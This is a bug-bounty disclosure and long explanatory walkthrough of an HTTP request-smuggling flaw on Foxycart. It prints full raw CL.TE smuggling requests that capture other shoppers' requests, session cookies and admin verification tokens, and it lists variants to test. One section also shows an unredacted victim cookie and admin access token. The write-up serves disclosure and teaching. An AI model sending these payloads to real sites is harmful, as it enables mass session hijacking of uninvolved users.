HTTP Desync Attack (Request Smuggling) - Mass Session Hijacking
The front-end server used Content-Length while the back-end used Transfer-Encoding, causing request desynchronisation. An attacker could smuggle a request so that the next legitimate user's request was appended to the attacker's cart, exposing session cookies and enabling mass session hijacking.
Originally disclosed on Bugcrowd
- Accepted in 2 days
- Fixed in 2 days
- Disclosed after 22 months
Summary by AnkitSingh
Description
I've found an HTTP Desync (Request Smuggling) vulnerability affecting the Foxycart asset *-bugcrowd.foxycart.com. It was observed that the front end server is using Content-Length while the back end server is making use of Transfer-Encoding header to determine the length of HTTP request. This desynchronization in determining the length of request between the servers could be abused into escalating a Mass Session Hijacking (Mass Account Takeover) scenario by utilizing the POST parameters of urlencoded form to log requests of legit users.
Proof of Concept - Basic
- Replay the following request quite a few times -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
GET /cache?url=https://s3.envato.com/files/224212193/You%20Have%20Been%20Hacked%20590x332.jpg HTTP/1.1
X-Foo: X
Make sure to use your own Foxycart custom instance for replaying the above request so as to ensure that no legit user would be accessing it and noone would be affected in the realtime. You can use Turbo Intruder for this purpose or even the inbuilt Burp's intruder in some cases provided that your instance suffers relatively low traffic.
- Simultaneously, from a different public IP address, make some POST requests towards any endpoint of
instance.foxycart.com(alongwith any POST parameters and cookie values) and observe that following response is rendered irrespective of request endpoint and POST data -:
So as a conclusion, everytime an attacker would initiate such ambiguous request as shown in step(1), then a random legit user from anywhere requesting the same instance would be served with the response as shown in step(2) instead of the legit expected response.
Proof of Concept - Mass Session Hijacking
Now one of the consequence of the reported vulnerability is that an attacker can leverage it into Mass Session Hijacking. Before proceeding, let's understand one of the basic functionality of instance.foxycart.com, which is if I make a POST request as -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
name=Cool%20Example&price=10&color=red&code=4520
Then at my https://instance.foxycart.com/cart I can see an item added and saved in the cart with the value of color parameter being saved there (in this case it's red).
This simply means, if I make a request as -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
name=Cool%20Example&price=10&color=xxxxxxxxx&code=4520
Then if I will visit at https://instance.foxycart.com/cart I'll see value of color param xxxxxxxxx stored there. Which simply means, if I put the color param at the end of the POST body and make a request like this -:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1243
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: █████████████████████████
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1300
name=Cool%20Example&price=10&code=4520&color=
Please NOTE that above is a single request (not multiple) that attacker would initiate. Observe the last param color at the end of POST body. Means, after making this above request, whosoever be the next legit user, making any POST request, then their POST request would get appended as the value of last color param of smuggled request. Afterwards, when the attacker will navigate to their https://instance.foxycart.com/cart then he/she will see victim's HTTP request being logged in his cart, with all the headers, cookie values.
So I made the above ambiguous request (as an attacker), then made the following legit request as a victim -:
POST /x HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: optimizelyEndUserId=oeu1579830073961r0.5233278836804898; optimizelySegments=%7B%22234346863%22%3A%22search%22%2C%22234587425%22%3A%22false%22%2C%22234696064%22%3A%22ff%22%7D; optimizelyBuckets=%7B%7D; __utma=91412365.2063671220.1579830076.1584894698.1584901658.8; __utmz=91412365.1584549558.4.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=https%3A%2F%2Fadmin.foxycart.com%2Fadmin.php%3FThisAction%3DTrustedBrowser_complete%26access%3DYTMzZDIxM2I2YWVhYTA3MmIzZTRlMmE1MGE0MjhmZThkNGYwYTk3MTA5YTEyNTA5MzU2MzNlMGZhNTNmYWNjYw%3D%3D%26ua%3DZmZlNzQwNGExOTI1YjMyZDJjMjA4YWJlY2QyMDNjYzZjZGI1NTRjNTM2NGUxNThiNjVhOTZkNjVkYmI0NmY1MA%3D%3D; __utmv=91412365.|1=user_type=programmer=1^2=trial=0.1=1; fcsid=fsrg6emsh70ef882u6a2gv6f20
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
abc=123
Then navigating to https://instance.foxycart.com/cart rendered this -:
In this logged request you can observe -:
i) Observe the presence of fcsid cookie value. Now attacker has the access to it. Means attacker has hijacked the buyer's session.
ii) Observe the presence of https://admin.foxycart.com/admin.php?ThisAction=TrustedBrowser_complete&access=ZGFmNjI3ZDU0NmQ2MjM0ZWE1NjUxY2Y3ZmQzYmRiNGQwZWUzYmUwNDkzZTZkNzJhODczMGUyYzNjNmFlNTcxYw==&ua=ZmZlNzQwNGExOTI1YjMyZDJjMjA4YWJlY2QyMDNjYzZjZGI1NTRjNTM2NGUxNThiNjVhOTZkNjVkYmI0NmY1MA== in the cookies. This URL in cookie is having that same value that the user (victim) had used to verify their login for https://admin.foxycart.com. So if user (victim) is having an admin account at https://admin.foxycart.com then this value of victim is now accessed by the attacker.
iii) Observe some new headers in the victim's logged request, which the victim's request was not having initially. This means that the front end server while forwarding the request to back end server, rewrites it. And while it rewrites, it adds these headers to it. So as we can see this value of victim's re-written request is now accessed by attacker.
Impact
The interesting part of this vulnerability is, no user (victim) interaction is required. Any victim from anywhere will simply request instance.foxycart.com but still their session would be hijacked. Another thing is that in this manner attacker can takeover enormous number of buyer's sessions against different carts at *.foxycart.com available on web. All that attacker needs to do is just make the above request, wait for a second or two, check your cart at https://instance.foxycart.com/cart and everytime you will see someone's session logged in there.
References
https://portswigger.net/research/http-desync-attacks-request-smuggling-rebornhttps://portswigger.net/research/http2
(NOTE that this finding was a result of Cloudfront being vulnerable to HTTP Desync attacks back in 2020. Later on in 2020 itself AWS fixed this issue and now Cloudfront would reject such requests which would exhibit ambiguity.)
Context
Foxy.io is an ecommerce platform, and the asset in scope for this report was *-bugcrowd.foxycart.com, a wildcard covering Foxycart instances. The researcher worked against a custom Foxycart instance, referred to throughout as instance.foxycart.com, and focused on the /cart endpoint. That endpoint normally accepts a application/x-www-form-urlencoded POST body containing item fields such as name, price, color and code, and stores the submitted item in the buyer's cart, which can then be viewed at https://instance.foxycart.com/cart.
The vulnerability reported is an HTTP Desync (request smuggling) issue. The front end server used the Content-Length header to determine the length of an HTTP request, while the back end server used the Transfer-Encoding header. That disagreement about where one request ends and the next begins is what the researcher abused, escalating it into what the report calls Mass Session Hijacking (Mass Account Takeover) by using the POST parameters of a urlencoded form to log the requests of legitimate users.
Setup
The researcher used a Foxycart custom instance of their own for all testing. The report explicitly asks that anyone replaying the requests use their own instance, so that no legitimate user is accessing it and nobody is affected in real time. For sending the ambiguous requests repeatedly, the report suggests Turbo Intruder, or in some cases Burp's built-in Intruder, provided the instance suffers relatively low traffic. A second public IP address was used to send the victim-side POST requests simultaneously.
No specific product versions are given in the report.
Finding it
The researcher observed that the front end and back end servers disagreed on how to determine request length: the front end honoured Content-Length, the back end honoured Transfer-Encoding. Because the two servers therefore parse the same byte stream into different requests, a crafted request can leave a fragment in the back end's input buffer that gets prepended to the next request arriving on the same connection. The report frames the consequence as mass session hijacking, using the urlencoded form POST parameters to capture legitimate users' requests.
Exploitation
Step 1: Send the ambiguous request repeatedly
The following request was replayed quite a few times:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
GET /cache?url=https://s3.envato.com/files/224212193/You%20Have%20Been%20Hacked%20590x332.jpg HTTP/1.1
X-Foo: X
The header is written as Transfer-Encoding : chunked, with a space before the colon. The trailing GET /cache?... request is then left in the back end's buffer, to be processed together with whatever request arrives next.
Step 2: Send a normal POST from a second IP and observe the poisoned response
Simultaneously, from a different public IP address, the researcher made POST requests to any endpoint of instance.foxycart.com, with any POST parameters and cookie values. The response rendered was the same regardless of the endpoint and POST data:
The conclusion drawn is that every time the attacker initiates the ambiguous request from step 1, a random legitimate user from anywhere requesting the same instance is served the response shown in step 2 instead of the response they expected.
Step 3: Understand how /cart stores POST parameters
Before moving to session hijacking, the report establishes a basic behaviour of instance.foxycart.com. A POST to /cart like the following:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
name=Cool%20Example&price=10&color=red&code=4520
results in an item being added and saved in the cart at https://instance.foxycart.com/cart, with the value of the color parameter stored there, in this case red.
Changing the value confirms the parameter is persisted. With the same request shape but the body below:
name=Cool%20Example&price=10&color=xxxxxxxxx&code=4520
visiting https://instance.foxycart.com/cart shows xxxxxxxxx stored as the value of color.
Step 4: Smuggle a request whose last parameter is color
The researcher then put the color parameter at the end of the POST body and sent a single request (not multiple) of this shape:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1243
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1300
name=Cool%20Example&price=10&code=4520&color=
Again the Transfer-Encoding : chunked header with the space before the colon makes the front end and back end disagree. The smuggled inner request ends its body with color= and no value. The effect is that whichever legitimate user makes the next POST request has their request appended as the value of that trailing color parameter. When the attacker then navigates to their own https://instance.foxycart.com/cart, the victim's HTTP request is logged in the attacker's cart, including all headers and cookie values.
Step 5: Send a victim request and read it back
To demonstrate this, the researcher sent the ambiguous request above as the attacker, then made the following request as a victim:
POST /x HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
abc=123
Navigating to https://instance.foxycart.com/cart then rendered the following:
In the logged request the researcher points out three things:
- The
fcsidcookie value is present. The attacker now has access to it, which means the attacker has hijacked the buyer's session. - The cookies contain a URL of the form
https://admin.foxycart.com/admin.php?ThisAction=TrustedBrowser_complete&access=...&ua=.... This URL carries the same value the victim used to verify their login forhttps://admin.foxycart.com. If the victim has an admin account athttps://admin.foxycart.com, that value is now in the attacker's hands. - The victim's logged request contains some new headers that the victim's request did not have initially. This means the front end server rewrites the request while forwarding it to the back end, and adds these headers in the process. The value of the victim's rewritten request is therefore also exposed to the attacker.
Root cause
The front end server determines request length from Content-Length, while the back end server uses Transfer-Encoding. When a request carries both headers, the two servers disagree about where the body ends. The report notes that this finding was a result of Cloudfront being vulnerable to HTTP Desync attacks back in 2020, and that AWS fixed the issue later in 2020.
Impact
No victim interaction is required. Any victim from anywhere who simply requests instance.foxycart.com can have their session hijacked. In this manner the attacker can take over an enormous number of buyer sessions against different carts at *.foxycart.com available on the web. All the attacker needs to do is make the request, wait a second or two, check their cart at https://instance.foxycart.com/cart, and every time someone's session will be logged there. The captured data includes the fcsid session cookie, the trusted browser verification URL used for https://admin.foxycart.com, and the headers added by the front end during rewriting.
Fix
The report does not describe a code change made by Foxy.io. It states that the underlying issue was Cloudfront being vulnerable to HTTP Desync attacks in 2020, and that AWS fixed it later that year.
Variants to test
- Send a request with both
Content-Lengthand an obfuscatedTransfer-Encodingheader (for example a space before the colon, as in this report) and follow it with a request to a different path. A positive result is the second request being processed as if it came from the first connection, visible as a response or side effect belonging to the smuggled request. - Target a form endpoint that persists POST parameters, as
/cartdoes here, and place a parameter with an empty value at the end of the smuggled body. A positive result is the next legitimate request appearing as that parameter's value when the attacker views their own stored state. - Compare front end and back end parsing by sending a chunked body with a trailing request and observing whether the trailing request is executed. A positive result is the trailing request being handled while the front end believes it is part of the body.
- Test from a second public IP while sending normal requests to the same instance. A positive result is a normal request receiving a response that belongs to the smuggled request rather than the expected response.
What happened, in plain words
Foxy.io is a company that runs an online shopping platform. Shops use it to sell things on the web. The researcher in this report looked at a part of that platform called Foxycart, and specifically at a test copy of a shop, which the report calls instance.foxycart.com. A test copy is a private version of the software that only the researcher uses, so that real customers are never touched while someone pokes at it.
On that test shop there is a page called /cart. A cart is the basket of items you collect while shopping online before you pay. When a shop page sends an item to /cart, the shop remembers it, and you can later open https://instance.foxycart.com/cart to see what is in your basket. Each item has fields such as name, price, color and code.
The researcher found a bug in the way two computers in front of that shop talk to each other. A website like this is usually not one machine. There is a front door machine (the front end server) that receives your request first, and a back room machine (the back end server) that does the actual work. The front door and the back room disagreed about where one message ends and the next one begins. That kind of disagreement is called an HTTP Desync attack, or request smuggling. Smuggling here means sneaking a hidden second message inside the first one, so the back room treats it as a separate request that the front door never meant to send.
The researcher used that trick to make the shop write other people's requests into the attacker's own cart. Those captured requests contained the cookie that identifies a logged-in shopper, so the attacker could take over that shopper's session. The report calls this Mass Session Hijacking, or Mass Account Takeover, because it can be repeated against many shoppers at once.
The pieces you need to know first
Before the steps make sense, here are the basic ideas, explained from zero.
- HTTP request: the message your browser sends to a website when you click a link or submit a form. It has a first line (for example
POST /cart HTTP/1.1), then a list of headers (little labels with values), then optionally a body (the data you are sending). - Header: a line like
Content-Type: application/x-www-form-urlencoded. Headers tell the server things about the request, such as what kind of data is inside it. - Body: the actual data, for example the fields of a form you filled in.
Content-Length: a header that says exactly how many bytes long the body is. Think of it as writing the weight of a parcel on the box so the post office knows when the parcel ends.Transfer-Encoding: chunked: another way of saying how long the body is. Instead of one number, the body is split into pieces (chunks), and each chunk starts with its own length. The body finishes with a chunk of length0. Think of a delivery split into several boxes, each labelled with its size, and a final empty box meaning "that is all".- Front end server and back end server: the front door and the back room. The front door takes requests from the internet and passes them to the back room, which does the real work. The front door is often called a proxy or a load balancer.
- Cookie: a small piece of text a website stores in your browser so it can recognise you on the next request. When you log in, the site gives your browser a cookie with a session identifier, and your browser sends it back with every request. Anyone who steals that cookie can pretend to be you.
- Session: the period during which a website remembers that you are logged in. The session is tied to the cookie value.
- Session hijacking: stealing someone's session cookie so you can act as them without knowing their password.
- Endpoint: a specific address on a website that does a specific job, for example
/cartfor the shopping basket. - POST request: a request that sends data to the server, usually from a form. A GET request asks for a page; a POST request submits something.
application/x-www-form-urlencoded: the format browsers use when submitting a normal HTML form. The fields look likename=value&other=value, with&between them.%20is just a space character written in encoded form./cacheendpoint with aurlparameter: a page that takes a web address as input and fetches or serves that address. The report shows it being used as the hidden second request.- Turbo Intruder and Burp Intruder: tools that send the same request many times, quickly, with small changes. The report suggests them for repeating the attack request.
- Public IP address: the address your internet connection uses on the internet. Using a second one simulates a different person on a different network.
Setting up the test
The researcher used their own Foxycart test instance for everything. The report asks anyone repeating this to do the same, so that no real shopper is using the instance and nobody is affected while the test runs. To send the tricky request over and over, the report suggests Turbo Intruder, or in some cases Burp's built-in Intruder, as long as the instance has relatively little traffic. A second public IP address was used to send the victim-side requests at the same time.
The report gives no product versions.
Finding it
The researcher noticed that the front door and the back room measured the length of a request differently. The front door trusted Content-Length. The back room trusted Transfer-Encoding. When a request contains both headers, each machine reads the same stream of bytes but decides the message ends in a different place. The back room therefore keeps reading past the end the front door intended, and whatever is left over gets glued onto the next request that arrives on the same connection. The report turns that into mass session hijacking by using the form fields of a normal form POST to capture real users' requests.
Exploitation
Step 1: Send the ambiguous request repeatedly
The following request was replayed quite a few times:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
GET /cache?url=https://s3.envato.com/files/224212193/You%20Have%20Been%20Hacked%20590x332.jpg HTTP/1.1
X-Foo: X
Line by line, in plain words:
POST /cart HTTP/1.1says: I am sending data to the/cartpage, using version 1.1 of HTTP.Host: instance.foxycart.comsays which website this request is for. One front door can serve many websites, so it needs to know which one.User-AgentandAcceptandAccept-LanguageandAccept-Encodingare the browser's normal introduction: what browser it is, what page formats it accepts, what language it prefers, and that it can handle compressed replies. They are copied from a normal browser so the request looks ordinary.Cookie: [redacted]is the session cookie. It is blanked out here because it is private.Upgrade-Insecure-Requests: 1is a standard browser header saying the browser would prefer secure (HTTPS) versions of links.Content-Type: application/x-www-form-urlencodedsays the body is in normal form format.Content-Length: 171tells the front door the body is 171 bytes long.Transfer-Encoding : chunkedtells the back room the body is chunked. Notice the space before the colon.
The body block:
30is the length of the next chunk, written in hexadecimal.30in hex is 48 in ordinary numbers.name=Cool%20Example&price=10&color=red&code=4520is the chunk itself: a normal-looking cart item with a name, a price, a colour and a code.0is the final chunk, meaning "the body ends here".
The trailing block:
GET /cache?url=https://s3.envato.com/files/224212193/You%20Have%20Been%20Hacked%20590x332.jpg HTTP/1.1is a second, hidden request. It asks the/cachepage to fetch an image froms3.envato.com.
That leftover GET sits in the back room's input, waiting to be joined with whatever request comes next.
Step 2: Send a normal POST from a second IP and watch the poisoned response
At the same time, from a different public IP address, the researcher sent POST requests to any endpoint of instance.foxycart.com, with any POST fields and cookie values. The response was the same no matter which endpoint or data was used:
The image shows the response that came back instead of the expected one. The conclusion is that every time the attacker fires the ambiguous request from step 1, a random legitimate user from anywhere who requests the same instance is served that response instead of the page they asked for.
Step 3: Learn how /cart stores form fields
Before showing the hijack, the report establishes a simple behaviour of instance.foxycart.com. A POST to /cart like this:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
name=Cool%20Example&price=10&color=red&code=4520
Here the headers are the same as before, except there is no Transfer-Encoding line and Content-Length is 48, the exact length of the body. The body is a normal form: an item called Cool Example, priced 10, colour red, code 4520. The result is that the item is added and saved in the cart at https://instance.foxycart.com/cart, with red stored as the value of color.
Changing the value confirms the field is really saved. With the same request shape but this body:
name=Cool%20Example&price=10&color=xxxxxxxxx&code=4520
visiting https://instance.foxycart.com/cart shows xxxxxxxxx stored as the value of color. Why this step: the researcher needs to prove that whatever is placed in a form field is remembered and shown back later. That is the mechanism the attack will abuse.
Step 4: Smuggle a request whose last field is color
The researcher then put the color field at the very end of the POST body and sent a single request (not several) of this shape:
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1243
Transfer-Encoding : chunked
30
name=Cool%20Example&price=10&color=red&code=4520
0
POST /cart HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1300
name=Cool%20Example&price=10&code=4520&color=
What each part does:
- The outer request again uses
Transfer-Encoding : chunkedwith the space before the colon, so the front door and back room disagree about the length.Content-Length: 1243is what the front door believes. - The chunked body is the same small cart item, ending with the
0terminator. - The hidden inner request is a second
POST /cart, with its own headers andContent-Length: 1300. - The inner body is
name=Cool%20Example&price=10&code=4520&color=. Notice thatcoloris last and has nothing after the equals sign.
Why this shape: because the inner request ends with color= and no value, the next thing that arrives on the connection gets read as the value of color. Whichever legitimate user makes the next POST request has their whole request appended there. When the attacker then opens their own https://instance.foxycart.com/cart, the victim's HTTP request appears in the attacker's cart, including all its headers and cookie values.
Step 5: Send a victim request and read it back
To show this, the researcher sent the ambiguous request above as the attacker, then made the following request as a victim:
POST /x HTTP/1.1
Host: instance.foxycart.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
abc=123
This is an ordinary form submission to /x with a tiny body, abc=123, seven bytes long. The victim is just a normal user doing a normal thing. The cookie line is blanked out here, but in the real test it contained the victim's own cookies, which is exactly what the attack is trying to capture.
Opening https://instance.foxycart.com/cart afterwards rendered this:
The images show the attacker's cart containing the victim's request. In that logged request the researcher points out three things:
- The
fcsidcookie value is there.fcsidis the name of the session cookie that identifies a shopper. The attacker now has it, which means the attacker has hijacked the buyer's session and can act as that buyer. - The cookies contain a URL of the form
https://admin.foxycart.com/admin.php?ThisAction=TrustedBrowser_complete&access=...&ua=.... This is the address the victim used to confirm their login to the admin area athttps://admin.foxycart.com. If the victim has an admin account there, that confirmation value is now in the attacker's hands. - The logged request contains some headers the victim's original request did not have. That means the front door rewrites the request while passing it to the back room, and adds these headers on the way. So the rewritten version of the victim's request is also exposed to the attacker.
Root cause
The front door measures a request with Content-Length; the back room measures it with Transfer-Encoding. When a request carries both, and the Transfer-Encoding header is written in a form the front door does not recognise (here Transfer-Encoding : chunked, with a space before the colon), the two machines disagree about where the body ends. The back room consumes only the chunked part and treats the rest as the start of the next request, which then gets combined with the next legitimate request on the connection. The report notes that this finding came from Cloudfront being vulnerable to HTTP Desync attacks back in 2020, and that AWS fixed it later that year.
Impact
No victim interaction is required. Any victim anywhere who simply requests instance.foxycart.com can have their session hijacked. In this way the attacker can take over a very large number of buyer sessions against different carts at *.foxycart.com on the web. All the attacker has to do is send the request, wait a second or two, check their cart at https://instance.foxycart.com/cart, and each time somebody's session will be logged there. The captured data includes the fcsid session cookie, the trusted browser verification URL used for https://admin.foxycart.com, and the headers the front door adds while rewriting.
Fix
The report does not describe a code change made by Foxy.io. It says the underlying issue was Cloudfront being vulnerable to HTTP Desync attacks in 2020, and that AWS fixed it later that year.
Variants to test
- Send a request with both
Content-Lengthand an obfuscatedTransfer-Encodingheader (for example a space before the colon, as in this report) and follow it with a request to a different path. A positive result is the second request being processed as if it came from the first connection, visible as a response or side effect belonging to the smuggled request. - Target a form endpoint that saves POST fields, as
/cartdoes here, and put a field with an empty value at the end of the smuggled body. A positive result is the next legitimate request appearing as that field's value when the attacker views their own saved state. - Compare front end and back end parsing by sending a chunked body with a trailing request and watching whether the trailing request is executed. A positive result is the trailing request being handled while the front door believes it is part of the body.
- Test from a second public IP while sending normal requests to the same instance. A positive result is a normal request receiving a response that belongs to the smuggled request rather than the expected response.
Glossary
- API: a way for one piece of software to talk to another, like a waiter taking your order to the kitchen.
- Back end server: the machine behind the front door that does the real processing.
- Body: the data part of an HTTP request, such as form fields.
- Burp Intruder: a tool inside Burp Suite that sends a request many times, optionally with variations.
- Chunked encoding: a way of sending a body in pieces, each labelled with its length, ending with a zero-length piece.
- Cloudfront: Amazon's content delivery network, a service that sits in front of websites and passes requests through.
Content-Length: a header stating the exact size of the body in bytes.- Cookie: a small text value a site stores in your browser and your browser sends back, often used to recognise a logged-in user.
- Endpoint: a specific address on a website that performs a specific job.
- Form (
application/x-www-form-urlencoded): the standard format browsers use to submit forms, asfield=value&field=value. - Front end server: the machine that receives requests from the internet first and forwards them to the back end.
- GET request: a request that asks for a page or resource.
- Header: a labelled line in an HTTP request or response that describes it.
- HTTP: the language browsers and websites use to exchange requests and responses.
- HTTP Desync / request smuggling: a bug where two servers disagree about where one request ends and the next begins, letting an attacker hide a second request inside the first.
instance.foxycart.com: the researcher's own test copy of a Foxycart shop.- Mass Session Hijacking / Mass Account Takeover: stealing many users' sessions at once so the attacker can act as each of them.
- Session: the period during which a site remembers you are logged in.
- Session hijacking: stealing someone's session cookie so you can act as them.
Transfer-Encoding: a header saying how the body's length is described, for example with chunked encoding.- Turbo Intruder: a fast request-sending tool used for repeating requests many times.
- Wildcard (
*): a pattern meaning "anything in this position", so*-bugcrowd.foxycart.comcovers many hostnames.